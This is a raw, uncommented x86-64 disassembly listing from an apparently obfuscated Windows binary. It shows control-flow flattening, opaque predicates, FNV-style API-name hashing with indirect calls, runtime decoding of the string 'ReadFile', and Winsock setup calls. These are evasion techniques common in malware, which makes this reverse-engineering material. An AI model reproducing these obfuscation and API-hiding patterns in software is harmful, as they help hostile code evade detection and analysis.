cmp eax, 0x81a9fd4b
je 0x18006636a
cmp eax, 0xf973aa9
jne 0x1800643b0
mov rax, qword [rbp + 0x260]
mov ebx, dword [0x180129bf0]
mov r8d, dword [0x180129bf4]
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
mov edi, 0xefcdc21f
cmove edi, r9d
cmp r8d, 0xa
cmovl edi, r9d
mov esi, 0x3cc8ca93
jmp 0x180064420
mov dword [rbp + 0x250], 8
mov ecx, dword [rbp + 0x250]
movzx ebx, cx
add ebx, 0x65
mov esi, 0x7d9dde1b
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0x7d9dde1b
je 0x1800644c9
cmp esi, 0x3cc8ca93
jne 0x180064420
test dl, 1
sete byte [rbp + 0x268]
cmp r8d, 0xa
setl byte [rbp + 0x270]
mov ebx, 0x66b90669
nop
cmp ebx, 0xefcdc21e
jg 0x180064480
cmp ebx, 0x9f128bec
je 0x1800643f7
cmp ebx, 0xa7b69cb2
je 0x1800644be
cmp ebx, 0xdb190901
jne 0x180064450
mov ebx, 0x9f128bec
jmp 0x180064450
cmp ebx, 0xefcdc21f
je 0x1800644b7
cmp ebx, 0xdf49869
je 0x1800644c2
cmp ebx, 0x66b90669
jne 0x180064450
movzx ecx, byte [rbp + 0x268]
cmp byte [rbp + 0x270], 0
mov ebx, 0xefcdc21f
cmovne ebx, r10d
test cl, cl
cmovne ebx, r10d
jmp 0x180064450
mov ebx, 0xa7b69cb2
jmp 0x180064450
mov ebx, edi
jmp 0x180064450
mov ebx, 0xdb190901
jmp 0x180064450
mov dword [rbp + 0x250], ebx
mov ecx, dword [rbp + 0x250]
mov word [rax], cx
mov ebx, dword [0x180129bf0]
mov r8d, dword [0x180129bf4]
lea edx, [rbx - 1]
imul edx, ebx
test dl, 1
mov edi, 0xefcdc21f
cmove edi, r9d
cmp r8d, 0xa
cmovl edi, r9d
mov esi, 0x3cc8ca93
jmp 0x180064530
mov dword [rbp + 0x250], 8
mov ecx, dword [rbp + 0x250]
movzx ebx, cx
add ebx, 0x72
mov esi, 0x7d9dde1b
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp esi, 0x7d9dde1b
je 0x1800645d9
cmp esi, 0x3cc8ca93
jne 0x180064530
test dl, 1
sete byte [rbp + 0x268]
cmp r8d, 0xa
setl byte [rbp + 0x270]
mov ebx, 0x66b90669
nop
cmp ebx, 0xefcdc21e
jg 0x180064590
cmp ebx, 0x9f128bec
je 0x180064506
cmp ebx, 0xa7b69cb2
je 0x1800645ce
cmp ebx, 0xdb190901
jne 0x180064560
mov ebx, 0x9f128bec
jmp 0x180064560
cmp ebx, 0xefcdc21f
je 0x1800645c7
cmp ebx, 0xdf49869
je 0x1800645d2
cmp ebx, 0x66b90669
jne 0x180064560
movzx ecx, byte [rbp + 0x268]
cmp byte [rbp + 0x270], 0
mov ebx, 0xefcdc21f
cmovne ebx, r10d
test cl, cl
cmovne ebx, r10d
jmp 0x180064560
mov ebx, 0xa7b69cb2
jmp 0x180064560
mov ebx, edi
jmp 0x180064560
mov ebx, 0xdb190901
jmp 0x180064560
mov dword [rbp + 0x250], ebx
mov ecx, dword [rbp + 0x250]
mov word [rax + 2], cx
add rax, 4
mov qword [rbp + 0x248], rax
lea rax, [0x18011fbb2]
mov qword [rbp + 0x278], rax
mov eax, 0x81a9fd4b
jmp 0x1800643b0
mov rax, qword [rbp + 0x278]
movzx ecx, word [rbp + 0x260]
mov word [rax], cx
mov rsi, qword [rbp + 0x278]
sub rsp, 0x20
lea rdi, [rbp + 0x22f8]
mov rcx, rdi
mov dx, 0x6f
call fcn.1800979e0
add rsp, 0x20
mov word [rsi + 2], ax
sub rsp, 0x20
mov rcx, rdi
mov dx, WSAStartup
call fcn.1800979e0
add rsp, 0x20
mov word [rsi + 4], ax
mov word [rsi + 6], 0
sub rsp, 0x20
mov rcx, rdi
call fcn.18008e4e0
add rsp, 0x20
mov eax, 0xf623cff
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov rax, qword [rbp + 0x180]
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov byte [rcx], 0xc
mov rcx, qword [rbp + 0x270]
mov dword [rbp + 0x248], 0x57
mov edx, 0xf31fe6b
nop word [rax + rax]
cmp edx, 0xf31fe6b
je 0x1800646d5
cmp edx, 0x8e4f2f87
jne 0x1800646c0
jmp 0x180066469
mov edx, 0x8e4f2f87
jmp 0x1800646c0
mov word [rbp + 0x248], bx
movzx ecx, word [rbp + 0x248]
mov edx, dword [rbp + 0x278]
add dx, cx
mov word [rax], dx
mov dword [rbp + 0x278], WSAStartup
mov ecx, dword [0x180129bc0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x180129bc4], 0xa
setl dl
or dl, cl
mov edi, 0x32563533
cmovne edi, esi
mov edx, 0x32563533
cmovne edx, r8d
mov ecx, 0xd26fdbfa
nop word cs:[rax + rax]
nop
cmp ecx, 0x15714128
jle 0x180064790
cmp ecx, 0x15714129
je 0x1800664b7
cmp ecx, 0x32563533
je 0x1800647a7
cmp ecx, 0x2be4a460
jne 0x180064740
mov ecx, 0x26fa7f10
nop dword [rax]
cmp ecx, 0x26fa7f10
je 0x180064782
cmp ecx, 0x789dc127
jne 0x180064770
jmp 0x1800647c9
mov ecx, 0x789dc127
jmp 0x180064770
cmp ecx, 0xd26fdbfa
je 0x1800647e0
cmp ecx, 0xed401dca
jne 0x180064740
mov ecx, 0x15714129
jmp 0x180064740
mov ecx, 0x26fa7f10
nop dword [rax]
cmp ecx, 0x26fa7f10
je 0x1800647c2
cmp ecx, 0x789dc127
jne 0x1800647b0
jmp 0x1800647e7
mov ecx, 0x789dc127
jmp 0x1800647b0
mov word [rbp + 0x248], reloc.WS2_32.dll_inet_addr
movzx ebx, word [rbp + 0x248]
mov ecx, edi
jmp 0x180064740
mov ecx, edx
jmp 0x180064740
mov word [rbp + 0x248], reloc.WS2_32.dll_inet_addr
movzx ecx, word [rbp + 0x248]
mov ecx, 0x2be4a460
jmp 0x180064740
cmp byte [rbp + 0x227], 0
mov eax, 0x3a458eb2
mov ecx, 0x74d55eac
cmovne eax, ecx
jmp 0x18005ef80
mov eax, 0x488dfe65
jmp 0x18005ef80
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0x60]
mov rax, qword [rbp + 0x68]
mov rax, qword [rbp + 0x70]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xd8]
mov eax, 0x2fa9f9b6
mov ecx, dword [rbp + 0x1d8]
mov dword [rbp + 0x1f4], ecx
jmp 0x18005ef80
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
call fcn.180090710
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x180064910
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop
cmp edx, 0xfe90a09b
jle 0x180064980
cmp edx, 0x333d8297
jle 0x1800649d0
cmp edx, 0x5cca55f4
jg 0x180064a4a
cmp edx, 0x333d8298
je 0x180064b0d
cmp edx, 0x33ec62ab
je 0x180064b26
cmp edx, 0x42d422e5
jne 0x180064910
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x180064910
cmp edx, 0xc5fd57a7
jle 0x180064a10
cmp edx, 0xeb000b68
jg 0x180064a7a
cmp edx, 0xc5fd57a8
je 0x180064b37
cmp edx, 0xd1e81d16
je 0x180064b46
cmp edx, 0xd597d4ff
jne 0x180064910
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x180064910
cmp edx, 0x12a1b9d7
jle 0x180064aac
cmp edx, 0x12a1b9d8
je 0x180064b5f
cmp edx, 0x181b9de8
je 0x180064b6e
cmp edx, 0x28ad3f39
jne 0x180064910
mov edx, 0x73f80f82
jmp 0x180064910
cmp edx, 0xb163ad29
jle 0x180064ade
cmp edx, 0xb163ad2a
je 0x180064b9e
cmp edx, 0xb9d33223
je 0x180064bcb
cmp edx, 0xbb6ed30e
jne 0x180064910
mov edx, 0x12a1b9d8
jmp 0x180064910
cmp edx, 0x5cca55f5
je 0x180064bdc
cmp edx, 0x7343bfbc
je 0x1800648ca
cmp edx, 0x73f80f82
jne 0x180064910
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180064910
cmp edx, 0xeb000b69
je 0x180064bf5
cmp edx, 0xfb306983
jne 0x180064c6c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x180064910
cmp edx, 0xfe90a09c
je 0x180064c20
cmp edx, 0x1dd0b01
jne 0x180064910
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x180064910
cmp edx, 0x87cbc1a8
je 0x180064c52
cmp edx, 0x9302de66
jne 0x180064910
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x180064910
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180064910
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x180064910
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x180064910
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180064910
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180064910
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x180064910
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180064910
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x180064910
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x180064910
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180064910
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x180064910
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x180064910
cmp edx, 0xf6d6bd87
jne 0x180064910
mov rax, qword [rbp + 0x278]
mov qword [rbp - 0x60], rax
mov eax, 0x5f7953bc
jmp 0x18005ef80
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
call fcn.1800928a0
movabs r11, 0x100000001b3
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
jmp 0x180064d40
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xfe90a09b
jle 0x180064db0
cmp edx, 0x333d8297
jle 0x180064e00
cmp edx, 0x5cca55f4
jg 0x180064e7a
cmp edx, 0x333d8298
je 0x180064f3d
cmp edx, 0x33ec62ab
je 0x180064f56
cmp edx, 0x42d422e5
jne 0x180064d40
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x180064d40
cmp edx, 0xc5fd57a7
jle 0x180064e40
cmp edx, 0xeb000b68
jg 0x180064eaa
cmp edx, 0xc5fd57a8
je 0x180064f67
cmp edx, 0xd1e81d16
je 0x180064f76
cmp edx, 0xd597d4ff
jne 0x180064d40
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x180064d40
cmp edx, 0x12a1b9d7
jle 0x180064edc
cmp edx, 0x12a1b9d8
je 0x180064f8f
cmp edx, 0x181b9de8
je 0x180064f9e
cmp edx, 0x28ad3f39
jne 0x180064d40
mov edx, 0x73f80f82
jmp 0x180064d40
cmp edx, 0xb163ad29
jle 0x180064f0e
cmp edx, 0xb163ad2a
je 0x180064fce
cmp edx, 0xb9d33223
je 0x180064ffb
cmp edx, 0xbb6ed30e
jne 0x180064d40
mov edx, 0x12a1b9d8
jmp 0x180064d40
cmp edx, 0x5cca55f5
je 0x18006500c
cmp edx, 0x7343bfbc
je 0x180064cee
cmp edx, 0x73f80f82
jne 0x180064d40
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180064d40
cmp edx, 0xeb000b69
je 0x180065025
cmp edx, 0xfb306983
jne 0x18006509c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x180064d40
cmp edx, 0xfe90a09c
je 0x180065050
cmp edx, 0x1dd0b01
jne 0x180064d40
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x180064d40
cmp edx, 0x87cbc1a8
je 0x180065082
cmp edx, 0x9302de66
jne 0x180064d40
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x180064d40
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180064d40
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x180064d40
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x180064d40
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180064d40
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x180064d40
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x180064d40
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180064d40
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x180064d40
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x180064d40
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180064d40
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x180064d40
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x180064d40
cmp edx, 0xf6d6bd87
jne 0x180064d40
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x200]
sub rsp, 0x20
call rax
add rsp, 0x20
mov rcx, qword [rbp + 0x208]
sub rsp, 0x20
call fcn.180003610
movabs r11, 0x100000001b3
add rsp, 0x20
mov eax, 0x62e39c23
mov dword [rbp + 0x220], 1
jmp 0x18005ef80
lea rax, [rbp + 0x230c]
mov qword [rbp + 0x248], rax
lea rax, [0x18011fdac]
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
movzx edx, word [rax]
sub rsp, 0x20
lea rsi, [rbp + 0x2308]
mov rcx, rsi
call fcn.180097890
add rsp, 0x20
mov rcx, qword [rbp + 0x248]
mov word [rcx], ax
mov rax, qword [rbp + 0x248]
mov word [rax + 2], 0
sub rsp, 0x20
mov rcx, rsi
call fcn.18008e1f0
add rsp, 0x20
mov rcx, qword [rbp + 0x1e0]
sub rsp, 0x20
mov r8d, 3
mov rdx, rax
call fcn.180108abc
add rsp, 0x20
mov dword [rbp + 0xb0], eax
mov eax, 0x32ca03e0
movabs r11, 0x100000001b3
jmp 0x18005ef80
mov dword [rbp + 0x278], ecx
mov ecx, dword [rbp + 0x278]
mov byte [rax + 1], cl
mov edx, 0x8e7cd9ae
nop
cmp edx, 0x424d75d7
je 0x180066767
cmp edx, 0x8e7cd9ae
jne 0x1800651b0
mov ecx, 0xf253d7a4
nop dword [rax]
cmp ecx, 0xf253d7a4
je 0x1800651e2
cmp ecx, 0xcb19b41
jne 0x1800651d0
jmp 0x1800651e9
mov ecx, 0xcb19b41
jmp 0x1800651d0
mov dword [rbp + 0x278], 0x5f
movsxd rcx, dword [rbp + 0x278]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
sar rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add ecx, 0x6f
mov edx, 0x424d75d7
jmp 0x1800651b0
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
call fcn.180091870
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0x100000001b3
jmp 0x1800652d0
mov edx, dword [rbp + 0x250]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov rdx, qword [rbp + 0x278]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, dword [rbp + 0x270]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
nop
cmp edx, 0xfe90a09b
jle 0x180065340
cmp edx, 0x333d8297
jle 0x180065390
cmp edx, 0x5cca55f4
jg 0x18006540a
cmp edx, 0x333d8298
je 0x1800654cd
cmp edx, 0x33ec62ab
je 0x1800654e6
cmp edx, 0x42d422e5
jne 0x1800652d0
mov dword [rbp + 0x268], edi
mov edx, dword [rbp + 0x268]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0x230], edx
mov edx, dword [rbp + 0x230]
cmp edx, 0x20
mov edx, 0xbb6ed30e
cmovge edx, r13d
jmp 0x1800652d0
cmp edx, 0xc5fd57a7
jle 0x1800653d0
cmp edx, 0xeb000b68
jg 0x18006543a
cmp edx, 0xc5fd57a8
je 0x1800654f7
cmp edx, 0xd1e81d16
je 0x180065506
cmp edx, 0xd597d4ff
jne 0x1800652d0
mov edx, 0x42d422e5
mov edi, dword [rbp + 0x22c]
jmp 0x1800652d0
cmp edx, 0x12a1b9d7
jle 0x18006546c
cmp edx, 0x12a1b9d8
je 0x18006551f
cmp edx, 0x181b9de8
je 0x18006552e
cmp edx, 0x28ad3f39
jne 0x1800652d0
mov edx, 0x73f80f82
jmp 0x1800652d0
cmp edx, 0xb163ad29
jle 0x18006549e
cmp edx, 0xb163ad2a
je 0x18006555e
cmp edx, 0xb9d33223
je 0x18006558b
cmp edx, 0xbb6ed30e
jne 0x1800652d0
mov edx, 0x12a1b9d8
jmp 0x1800652d0
cmp edx, 0x5cca55f5
je 0x18006559c
cmp edx, 0x7343bfbc
je 0x180065281
cmp edx, 0x73f80f82
jne 0x1800652d0
mov edx, 0x42d422e5
xor edi, edi
jmp 0x1800652d0
cmp edx, 0xeb000b69
je 0x1800655b5
cmp edx, 0xfb306983
jne 0x18006562c
mov edx, dword [rbp + 0x230]
cmp edx, 0x7f
setl byte [rbp + 0x25f]
mov edx, 0x333d8298
jmp 0x1800652d0
cmp edx, 0xfe90a09c
je 0x1800655e0
cmp edx, 0x1dd0b01
jne 0x1800652d0
mov edx, dword [rbp + 0x244]
cmp edx, 0x5b
setl byte [rbp + 0x25e]
mov edx, 0xd1e81d16
jmp 0x1800652d0
cmp edx, 0x87cbc1a8
je 0x180065612
cmp edx, 0x9302de66
jne 0x1800652d0
mov rcx, qword [rbp + 0x248]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0x238]
jmp 0x1800652d0
cmp byte [rbp + 0x25f], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x1800652d0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x234]
jmp 0x1800652d0
mov dword [rbp + 0x250], r10d
mov edx, r9d
jmp 0x1800652d0
cmp byte [rbp + 0x25e], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x1800652d0
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r12
jmp 0x1800652d0
movsxd rdx, dword [rbp + 0x250]
xor rdx, qword [rbp + 0x278]
imul rdx, r11
mov qword [rbp + 0x248], rdx
mov edx, dword [rbp + 0x270]
add edx, 1
mov dword [rbp + 0x238], edx
mov edx, r8d
jmp 0x1800652d0
mov dword [rbp + 0x270], esi
mov qword [rbp + 0x278], rcx
mov edx, dword [rbp + 0x268]
mov ebx, dword [rbp + 0x270]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x1800652d0
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0x244]
jmp 0x1800652d0
mov edx, dword [rbp + 0x268]
add edx, 1
mov dword [rbp + 0x22c], edx
mov edx, 0xd597d4ff
jmp 0x1800652d0
mov rdx, qword [rbp + 0x260]
movsx edx, byte [rdx]
mov dword [rbp + 0x244], edx
mov edx, dword [rbp + 0x244]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x1800652d0
mov edx, dword [rbp + 0x244]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0x234], edx
mov edx, 0x33ec62ab
jmp 0x1800652d0
mov edx, dword [rbp + 0x270]
add rdx, rax
mov qword [rbp + 0x260], rdx
mov edx, 0xeb000b69
jmp 0x1800652d0
cmp edx, 0xf6d6bd87
jne 0x1800652d0
mov rcx, qword [rbp + 0x278]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x200]
mov edx, dword [rbp + 0x228]
sub rsp, 0x20
xor r8d, r8d
xor r9d, r9d
call rax
add rsp, 0x20
mov rax, qword [rbp + 0x128]
mov rsi, qword [rbp + 0x128]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x52
call fcn.1800981d0
add rsp, 0x20
mov byte [rsi], al
lea rax, [rsi + 1]
mov qword [rbp + 0x278], rax
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800981d0
add rsp, 0x20
mov byte [rbp + 0x248], al
mov eax, 0x7feb70a8
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0xac99425b
je 0x1800667f0
cmp eax, 0x7feb70a8
jne 0x1800656c0
mov rax, qword [rbp + 0x278]
movzx ecx, byte [rbp + 0x248]
mov byte [rax], cl
mov rdi, qword [rbp + 0x278]
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x61
call fcn.1800981d0
add rsp, 0x20
mov byte [rdi + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x64
call fcn.1800981d0
add rsp, 0x20
mov byte [rdi + 2], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x46
call fcn.1800981d0
add rsp, 0x20
mov byte [rdi + 3], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x69
call fcn.1800981d0
add rsp, 0x20
mov byte [rdi + 4], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x6c
call fcn.1800981d0
add rsp, 0x20
mov byte [rdi + 5], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x65
call fcn.1800981d0
add rsp, 0x20
mov byte [rdi + 6], al
mov byte [rdi + 7], 0
mov eax, 0xac99425b
jmp 0x1800656c0
mov rax, qword [rbp + 0x108]
mov edx, 0xa216cabb
jmp 0x1800657b0
mov word [rbp + 0x270], dx
movzx edx, word [rbp + 0x270]
mov ebx, dword [rbp + 0x268]
sub bx, dx
mov word [rbp + 0x238], bx
mov edx, 0xb39b5d76
nop word cs:[rax + rax]
cmp edx, 0xb57c7d16
jle 0x180065810
cmp edx, 0xc780dac2
jle 0x180065840
cmp edx, 0xc780dac3
je 0x1800658ae
cmp edx, 0x4479bede
jne 0x180065920
mov rdx, qword [rbp + 0x278]
lea rdx, [rax + rdx*2]
mov qword [rbp + 0x248], rdx
mov rdx, qword [rbp + 0x248]
movzx edx, word [rdx]
mov word [rbp + 0x234], dx
mov edx, 0xc780dac3
jmp 0x1800657b0
cmp edx, 0xa216caba
jg 0x180065870
cmp edx, 0x940237fa
je 0x1800658eb
cmp edx, 0x9ff1cdf4
jne 0x1800657b0
mov qword [rbp + 0x250], rax
mov edx, 0xbeebf2f7
jmp 0x1800657b0
cmp edx, 0xb57c7d17
je 0x1800658f7
cmp edx, 0xbeebf2f7
jne 0x1800657b0
mov rdx, qword [rbp + 0x250]
mov qword [rbp + 0x260], rdx
mov edx, 0xef697d18
jmp 0x1800657b0
cmp edx, 0xa216cabb
je 0x180065916
cmp edx, 0xb39b5d76
jne 0x1800657b0
mov rcx, qword [rbp + 0x248]
movzx edx, word [rbp + 0x238]
mov word [rcx], dx
mov rcx, qword [rbp + 0x278]
add rcx, 1
mov edx, 0xb57c7d17
jmp 0x1800657b0
movzx edx, word [rbp + 0x234]
mov dword [rbp + 0x268], edx
mov ebx, 0xa65724bf
cmp ebx, 0x80bde015
je 0x180065783
cmp ebx, 0xa65724bf
jne 0x1800658c0
mov dword [rbp + 0x270], 9
mov edx, dword [rbp + 0x270]
mov ebx, 0x80bde015
jmp 0x1800658c0
mov edx, 0xb57c7d17
xor ecx, ecx
jmp 0x1800657b0
mov qword [rbp + 0x278], rcx
mov rdx, qword [rbp + 0x278]
cmp rdx, 2
mov edx, 0x9ff1cdf4
cmovb edx, edi
jmp 0x1800657b0
mov edx, 0x940237fa
jmp 0x1800657b0
cmp edx, 0xef697d18
jne 0x1800657b0
mov rcx, qword [rbp + 0x260]
sub rsp, 0x20
call fcn.180108668
add rsp, 0x20
mov rsi, rax
add esi, esi
mov rax, qword [rbp + 0x100]
mov rax, qword [rbp + 0x100]
mov edx, 0x2d804d05
mov r9d, 0x90413a6d
mov r10d, 0x445ef7f9
jmp 0x180065990
mov word [r8], 0
add r8, 2
cmp r8, qword [rbp + 0x248]
mov edx, 0x979c142
mov ecx, 0xa1c7fec4
cmove edx, ecx
nop word cs:[rax + rax]
nop
cmp edx, 0x979c141
jle 0x180065b10
cmp edx, 0x403fb35d
jg 0x180065b90
cmp edx, 0x979c142
je 0x180065966
cmp edx, 0x2d804d05
jne 0x180065990
mov qword [rbp + 0x270], rax
mov rcx, qword [rbp + 0x270]
mov word [rcx], 0x94b2
mov rdx, qword [rbp + 0x270]
mov ecx, dword [0x180129bf8]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
cmp dword [0x180129bfc], 0xa
setl bl
or bl, cl
